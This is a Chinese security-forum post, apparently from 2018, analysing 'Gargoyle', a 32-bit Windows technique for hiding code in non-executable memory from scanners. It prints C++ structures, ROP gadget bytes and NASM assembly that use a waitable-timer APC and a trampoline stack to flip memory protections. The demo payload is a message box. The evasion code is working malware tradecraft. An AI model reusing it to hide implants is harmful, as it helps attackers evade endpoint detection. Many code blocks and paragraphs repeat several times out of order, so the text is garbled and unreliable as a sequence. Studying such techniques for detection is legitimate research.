首页
社区
课程
招聘
[原创]Gargoyle:一种内存扫描逃避技术的分析
发表于: 2018-3-22 22:11 6880

[原创]Gargoyle:一种内存扫描逃避技术的分析

2018-3-22 22:11
6880

我来对这幅图描述下,首先说明,该技术只适用32-bitWindows。该技术理解起来不难,主要利用了函数栈的特性(这也是只适用32位Windows的原因),该技术的核心就是在要执行代码之前,修改代码段的权限,执行完毕后,再次修改代码段的权限。这样就伪造了一种代码所在段为不可执行的假象。

该结构的作用,是一些准备工作,一些函数的地址,跳板栈的地址,APC ROP的地址等。

该结构为APC ROP,只用其中一个即可,为硬编码的数据,注释中写出了对应的汇编代码,主要的作用为执行跳板栈里面的内容。(为什么要用ROP:避免DEP违例)。

到这里,要用到的几个数据结构就介绍完了,在介绍详细的流程之前,先给出函数调用栈的图示。

接下来为详细的实现过程,首先为我们目标代码分配空间,然后是找到APC ROP这段硬编码再dll中的位置,至于怎么找到的,参考原文。

这段指令并不常见,作者从mshtml.dll中恰好搜索到了这段指令,接下来,为跳板栈分配空间,并填充跳板栈的内容,然后为马上要用到的结构体开辟空间,并填充。最后,去执行我们的代码。

目标代码由汇编语言编写:

最开始定义的是Configuration结构体,也是之前所说的,最后开辟空间的。

紧接着,进入到核心代码的位置:

根据之前的描述,可知,esp+4内的内容,是函数的第一个参数,对应的是刚刚定义的结构体实例的位置,并把该值存入ebx寄存器。同时,将跳板底部设为栈底。

这段代码,判断是否已经执行过一遍,如果执行过一遍,则可以直接去执行目标代码。(由于将设置段和代码段混到一起,所以需要设置)

要隐藏的目标代码,这里弹了个弹窗,没什么好说的。效果如图(没什么用。。。

修改代码段的访问权限,并将返回地址设置为WaitForSingleObjectEx,实现对该函数的调用。

配合上面,实现“函数调用”,这里需要停下来观察栈内数据,如图:

终于到这里了,我们先看下函数栈:

和正常的函数栈一样,要注意的是,0x04b70038是跳板栈的地址。指令的第一条,是弹栈,至于给哪个寄存器,无所谓,重点是把返回地址弹掉。第二条指令,依旧是弹栈,不过,弹出到的是栈顶寄存器,也就说,函数栈的位置变了,变成了我们的跳板栈,跳板栈的内容再贴出来:

这里,就绕过了DEP保护,不用去执行栈里的代码来修改目标代码段的内存属性。可以从下图中看到,通过精心构造堆栈,使接下来执行的使目标代码了。

通过精心构造函数栈,达到控制程序流的目的,实现了对代码段访问权限的动态调整。以上的代码只是PoC,将目标代码和设置APC的代码放到一起了,如果需要,可以将两段代码分开。这种方法的弊端就是由于是依靠函数栈对控制流的劫持,所以只能支持x86模式。

前段时间在总结注入方式的时候,发现了这篇文章《gargoyle, a memory scanning evasion technique》 ,里面的技术挺有意思的,本想直接翻译过来的,但是在调试的过程中遇到了一些问题,于是研究了一下,把分析的过程发了出来。
盗用作者原图(逃

Visual Studio 2015 Community

NASM(防止没有该环境,附件中已上传编译好的bin文件)

Visual Studio 2015 Community

NASM(防止没有该环境,附件中已上传编译好的bin文件)

0x2 介绍

该方法实现的功能是:将一个程序的所有可执行代码隐藏到不可执行内存。还是把作者对该技术的流程图搬上来: 
继续盗用(2333

0x3 详细分析

这里先思考一个问题:在代码段通过VirtualProtect函数修改成不可执行后,如何修改回来?这里使用了APC,而调用APC中的函数,需要使用一些函数进行唤醒,由于代码段不可执行,所以这里使用ROP来改变VirtualProtect的返回地址为WaitForSingleObject等函数的地址实现对线程的唤醒。APC中的函数继续使用ROP将返回地址劫持到跳板占,跳板栈实现了对目标代码段权限的修改,并控制EIP为要执行的代码段首地址,即完成了整个过程。
  struct SetupConfiguration {
    uint32_t initialized;
    void* setup_address;
    uint32_t setup_length;
    void* VirtualProtectEx;
    void* WaitForSingleObjectEx;
    void* CreateWaitableTimer;
    void* SetWaitableTimer;
    void* MessageBox;
    void* tramp_addr;
    void* sleep_handle;
    uint32_t interval;
    void* target;
    uint8_t shadow[8];
  };

该结构的作用,是一些准备工作,一些函数的地址,跳板栈的地址,APC ROP的地址等。

  struct StackTrampoline {
    void* VirtualProtectEx;
    void* return_address;
    void* current_process;
    void* address;
    uint32_t size;
    uint32_t protections;
    void* old_protections_ptr;
    uint32_t old_protections;
    void* setup_config;
  };
这个就是跳板栈了,从结构顺序可以看出来,修改完权限后,就跳到目标代码了。
  vector<vector<uint8_t>> rop_gadget_candidates = {
    { 0x59, 0x5C, 0xC3 },                   // pop ecx; pop esp; ret
    { 0x58, 0x5C, 0xC3 }                    // pop eax; pop esp; ret
  };

该结构为APC ROP,只用其中一个即可,为硬编码的数据,注释中写出了对应的汇编代码,主要的作用为执行跳板栈里面的内容。(为什么要用ROP:避免DEP违例)。

到这里,要用到的几个数据结构就介绍完了,在介绍详细的流程之前,先给出函数调用栈的图示。

  struct SetupConfiguration {
    uint32_t initialized;
    void* setup_address;
    uint32_t setup_length;
    void* VirtualProtectEx;
    void* WaitForSingleObjectEx;
    void* CreateWaitableTimer;
    void* SetWaitableTimer;
    void* MessageBox;
    void* tramp_addr;
    void* sleep_handle;
    uint32_t interval;
    void* target;
    uint8_t shadow[8];
  };

该结构的作用,是一些准备工作,一些函数的地址,跳板栈的地址,APC ROP的地址等。

  struct StackTrampoline {
    void* VirtualProtectEx;
    void* return_address;
    void* current_process;
    void* address;
    uint32_t size;
    uint32_t protections;
    void* old_protections_ptr;
    uint32_t old_protections;
    void* setup_config;
  };
这个就是跳板栈了,从结构顺序可以看出来,修改完权限后,就跳到目标代码了。
  vector<vector<uint8_t>> rop_gadget_candidates = {
    { 0x59, 0x5C, 0xC3 },                   // pop ecx; pop esp; ret
    { 0x58, 0x5C, 0xC3 }                    // pop eax; pop esp; ret
  };

该结构为APC ROP,只用其中一个即可,为硬编码的数据,注释中写出了对应的汇编代码,主要的作用为执行跳板栈里面的内容。(为什么要用ROP:避免DEP违例)。

到这里,要用到的几个数据结构就介绍完了,在介绍详细的流程之前,先给出函数调用栈的图示。

  struct StackTrampoline {
    void* VirtualProtectEx;
    void* return_address;
    void* current_process;
    void* address;
    uint32_t size;
    uint32_t protections;
    void* old_protections_ptr;
    uint32_t old_protections;
    void* setup_config;
  };
这个就是跳板栈了,从结构顺序可以看出来,修改完权限后,就跳到目标代码了。
  vector<vector<uint8_t>> rop_gadget_candidates = {
    { 0x59, 0x5C, 0xC3 },                   // pop ecx; pop esp; ret
    { 0x58, 0x5C, 0xC3 }                    // pop eax; pop esp; ret
  };

该结构为APC ROP,只用其中一个即可,为硬编码的数据,注释中写出了对应的汇编代码,主要的作用为执行跳板栈里面的内容。(为什么要用ROP:避免DEP违例)。

到这里,要用到的几个数据结构就介绍完了,在介绍详细的流程之前,先给出函数调用栈的图示。

  vector<vector<uint8_t>> rop_gadget_candidates = {
    { 0x59, 0x5C, 0xC3 },                   // pop ecx; pop esp; ret
    { 0x58, 0x5C, 0xC3 }                    // pop eax; pop esp; ret
  };

该结构为APC ROP,只用其中一个即可,为硬编码的数据,注释中写出了对应的汇编代码,主要的作用为执行跳板栈里面的内容。(为什么要用ROP:避免DEP违例)。

到这里,要用到的几个数据结构就介绍完了,在介绍详细的流程之前,先给出函数调用栈的图示。

函数调用关系


pop eax
pop esp
ret

这段指令并不常见,作者从mshtml.dll中恰好搜索到了这段指令,接下来,为跳板栈分配空间,并填充跳板栈的内容,然后为马上要用到的结构体开辟空间,并填充。最后,去执行我们的代码。

reinterpret_cast<callable>(setup_memory)(&config);

目标代码由汇编语言编写:

STRUC Configuration
.initialized: RESD 1			;0x0
.setup_addr: RESD 1			;0x4
.setup_length: RESD 1			;0x8
.VirtualProtectEx: RESD 1		;0xC
.WaitForSingleObjectEx: RESD 1	;0x10
.CreateWaitableTimer: RESD 1	;0x14
.SetWaitableTimer: RESD 1		;0x18
.MessageBox: RESD 1			;0x1C
.trampoline_addr: RESD 1		;0x20
.sleep_handle: RESD 1			;0x24
.interval: RESD 1			;0x28
.gadget: RESD 1				;0x2C
.shadow: RESD 2				;0x30     config end
.stack: RESB 0x10000			;0x10030   stack space
.trampoline: RESD 9			;0x10034   trampoline
ENDSTRUC

最开始定义的是Configuration结构体,也是之前所说的,最后开辟空间的。

紧接着,进入到核心代码的位置:

mov ebx, [esp+4]                                   ; Configuration in ebx now  esp->return address
lea esp, [ebx + Configuration.trampoline - 4]       ; Bottom of "stack"
mov ebp, esp

reinterpret_cast<callable>(setup_memory)(&config);

目标代码由汇编语言编写:

STRUC Configuration
.initialized: RESD 1			;0x0
.setup_addr: RESD 1			;0x4
.setup_length: RESD 1			;0x8
.VirtualProtectEx: RESD 1		;0xC
.WaitForSingleObjectEx: RESD 1	;0x10
.CreateWaitableTimer: RESD 1	;0x14
.SetWaitableTimer: RESD 1		;0x18
.MessageBox: RESD 1			;0x1C
.trampoline_addr: RESD 1		;0x20
.sleep_handle: RESD 1			;0x24
.interval: RESD 1			;0x28
.gadget: RESD 1				;0x2C
.shadow: RESD 2				;0x30     config end
.stack: RESB 0x10000			;0x10030   stack space
.trampoline: RESD 9			;0x10034   trampoline
ENDSTRUC

最开始定义的是Configuration结构体,也是之前所说的,最后开辟空间的。

紧接着,进入到核心代码的位置:

mov ebx, [esp+4]                                   ; Configuration in ebx now  esp->return address
lea esp, [ebx + Configuration.trampoline - 4]       ; Bottom of "stack"
mov ebp, esp

STRUC Configuration
.initialized: RESD 1			;0x0
.setup_addr: RESD 1			;0x4
.setup_length: RESD 1			;0x8
.VirtualProtectEx: RESD 1		;0xC
.WaitForSingleObjectEx: RESD 1	;0x10
.CreateWaitableTimer: RESD 1	;0x14
.SetWaitableTimer: RESD 1		;0x18
.MessageBox: RESD 1			;0x1C
.trampoline_addr: RESD 1		;0x20
.sleep_handle: RESD 1			;0x24
.interval: RESD 1			;0x28
.gadget: RESD 1				;0x2C
.shadow: RESD 2				;0x30     config end
.stack: RESB 0x10000			;0x10030   stack space
.trampoline: RESD 9			;0x10034   trampoline
ENDSTRUC

最开始定义的是Configuration结构体,也是之前所说的,最后开辟空间的。

紧接着,进入到核心代码的位置:

mov ebx, [esp+4]                                   ; Configuration in ebx now  esp->return address
lea esp, [ebx + Configuration.trampoline - 4]       ; Bottom of "stack"
mov ebp, esp

mov ebx, [esp+4]                                   ; Configuration in ebx now  esp->return address
lea esp, [ebx + Configuration.trampoline - 4]       ; Bottom of "stack"
mov ebp, esp
当前栈顶

“config”具体内容

trampoline_addr具体内容

根据之前的描述,可知,esp+4内的内容,是函数的第一个参数,对应的是刚刚定义的结构体实例的位置,并把该值存入ebx寄存器。同时,将跳板底部设为栈底。

mov edx, [ebx + Configuration.initialized]
cmp edx, 0
jne reset_trampoline

这段代码,判断是否已经执行过一遍,如果执行过一遍,则可以直接去执行目标代码。(由于将设置段和代码段混到一起,所以需要设置)

; Create the timer
push 0
push 0
push 0
mov ecx, [ebx + Configuration.CreateWaitableTimer]
call ecx
mov [ebx + Configuration.sleep_handle], eax

; Set the timer
push 0
mov ecx, [ebx + Configuration.trampoline_addr]
push ecx
mov ecx, [ebx + Configuration.gadget]
push ecx
mov ecx, [ebx + Configuration.interval]
push ecx
lea ecx, [ebx + Configuration.shadow]
push ecx
mov ecx, [ebx + Configuration.sleep_handle]
push ecx
mov ecx, [ebx + Configuration.SetWaitableTimer]
call ecx

根据之前的描述,可知,esp+4内的内容,是函数的第一个参数,对应的是刚刚定义的结构体实例的位置,并把该值存入ebx寄存器。同时,将跳板底部设为栈底。

mov edx, [ebx + Configuration.initialized]
cmp edx, 0
jne reset_trampoline

这段代码,判断是否已经执行过一遍,如果执行过一遍,则可以直接去执行目标代码。(由于将设置段和代码段混到一起,所以需要设置)

; Create the timer
push 0
push 0
push 0
mov ecx, [ebx + Configuration.CreateWaitableTimer]
call ecx
mov [ebx + Configuration.sleep_handle], eax

; Set the timer
push 0
mov ecx, [ebx + Configuration.trampoline_addr]
push ecx
mov ecx, [ebx + Configuration.gadget]
push ecx
mov ecx, [ebx + Configuration.interval]
push ecx
lea ecx, [ebx + Configuration.shadow]
push ecx
mov ecx, [ebx + Configuration.sleep_handle]
push ecx
mov ecx, [ebx + Configuration.SetWaitableTimer]
call ecx
mov edx, [ebx + Configuration.initialized]
cmp edx, 0
jne reset_trampoline

这段代码,判断是否已经执行过一遍,如果执行过一遍,则可以直接去执行目标代码。(由于将设置段和代码段混到一起,所以需要设置)

; Create the timer
push 0
push 0
push 0
mov ecx, [ebx + Configuration.CreateWaitableTimer]
call ecx
mov [ebx + Configuration.sleep_handle], eax

; Set the timer
push 0
mov ecx, [ebx + Configuration.trampoline_addr]
push ecx
mov ecx, [ebx + Configuration.gadget]
push ecx
mov ecx, [ebx + Configuration.interval]
push ecx
lea ecx, [ebx + Configuration.shadow]
push ecx
mov ecx, [ebx + Configuration.sleep_handle]
push ecx
mov ecx, [ebx + Configuration.SetWaitableTimer]
call ecx
; Create the timer
push 0
push 0
push 0
mov ecx, [ebx + Configuration.CreateWaitableTimer]
call ecx
mov [ebx + Configuration.sleep_handle], eax

; Set the timer
push 0
mov ecx, [ebx + Configuration.trampoline_addr]
push ecx
mov ecx, [ebx + Configuration.gadget]
push ecx
mov ecx, [ebx + Configuration.interval]
push ecx
lea ecx, [ebx + Configuration.shadow]
push ecx
mov ecx, [ebx + Configuration.sleep_handle]
push ecx
mov ecx, [ebx + Configuration.SetWaitableTimer]
call ecx
具体值参考上面截图,这里就是向APC队列插入函数,函数的地址,即gadget,为硬编码内容的地址。
  ; Set the initialized bit 
mov [ebx + Configuration.initialized], dword 1   <br>
具体值参考上面截图,这里就是向APC队列插入函数,函数的地址,即gadget,为硬编码内容的地址。
  ; Set the initialized bit 
mov [ebx + Configuration.initialized], dword 1   <br>
  ; Set the initialized bit 
mov [ebx + Configuration.initialized], dword 1   <br>
和上面说的一样,第一次执行会用到,设置标志位。
reset_trampoline:
	mov ecx, [ebx + Configuration.VirtualProtectEx]
	mov [ebx + Configuration.trampoline], ecx
这里的设置应该是防止第二次运行的时候,栈遭到破坏,所以重新设置函数地址。 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; Arbitrary code goes here. Note that the
;;;; default stack is pretty small (65k).
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Pop a MessageBox as example
push 0          ; null
push 0x656c796f ; oyle
push 0x67726167 ; garg
mov ecx, esp
push 0x40       ; Info box
push ecx        ; ptr to 'gargoyle' on stack
push ecx        ; ptr to 'gargoyle' on stack
push 0
mov ecx, [ebx + Configuration.MessageBox]
call ecx
mov esp, ebp

要隐藏的目标代码,这里弹了个弹窗,没什么好说的。效果如图(没什么用。。。

效果图
; Setup arguments for WaitForSingleObjectEx x1
push 1
push 0xFFFFFFFF
mov ecx, [ebx + Configuration.sleep_handle]
push ecx
push 0 ; Return address never ret'd

; Setup arguments for WaitForSingleObjectEx x2
push 1
push 0xFFFFFFFF
mov ecx, [ebx + Configuration.sleep_handle]
push ecx
; Tail call to WaitForSingleObjectEx
mov ecx, [ebx + Configuration.WaitForSingleObjectEx]
push ecx
这里连续对WaitForSingleObjectEx函数设置两遍参数,如果只设置一遍,可能会出现地址为0,无权限执行的情况。(具体情况可动手尝试,我实验了几次,由于WaitForSingleObjectEx函数执行完会返回到下一条指令的地址,会出现上述情况,具体可动手跟踪即可)。
; Setup arguments for VirtualProtectEx
lea ecx, [ebx + Configuration.shadow]
push ecx
push 2 ; PAGE_READONLY
mov ecx, [ebx + Configuration.setup_length]
push ecx
mov ecx, [ebx + Configuration.setup_addr]
push ecx
push dword 0xffffffff
; Tail call to WaitForSingleObjectEx
mov ecx, [ebx + Configuration.WaitForSingleObjectEx]
push ecx

修改代码段的访问权限,并将返回地址设置为WaitForSingleObjectEx,实现对该函数的调用。

; Jump to VirtualProtectEx
mov ecx, [ebx + Configuration.VirtualProtectEx]
jmp ecx

配合上面,实现“函数调用”,这里需要停下来观察栈内数据,如图:

当前栈
两个WaitForSingleObjectEx参数中间的0x00000000这个地址永远都不会访问到,因为会在调用完APC ROP后,返回地址被返回到要跳板栈(下面会说到)。由当前堆栈,可以看出,修改完权限后,不会继续执行代码,而是会执行WaitForSingleObjectEx。(ROP)为了更明显,还是截了一张执行完将要返回的图。
返回地址
由上图可知,接下来调用WaitForSingleObjectEx,使之执行apc队列中的函数。
和上面说的一样,第一次执行会用到,设置标志位。
reset_trampoline:
	mov ecx, [ebx + Configuration.VirtualProtectEx]
	mov [ebx + Configuration.trampoline], ecx
这里的设置应该是防止第二次运行的时候,栈遭到破坏,所以重新设置函数地址。 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-3-23 09:26 被sudozhange编辑 ,原因: 添加bin文件
上传的附件:
收藏
免费 2
支持
分享
最新回复 (4)
雪    币: 775
活跃值: (2292)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
mark  ,感谢分享
2018-3-22 23:14
0
雪    币: 12848
活跃值: (9147)
能力值: ( LV9,RANK:280 )
在线值:
发帖
回帖
粉丝
3
可以,跑在栈/堆/.rdata段/.data段上的代码,DEP是什么?不存在的~
2018-3-23 00:14
0
雪    币: 300
活跃值: (2477)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2018-3-23 08:04
0
雪    币: 202
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
好像会一直在调用APC。。。
最后于 2019-12-11 11:22 被abcteeny编辑 ,原因:
2019-12-10 18:31
0
游客
登录 | 注册 方可回帖
返回
//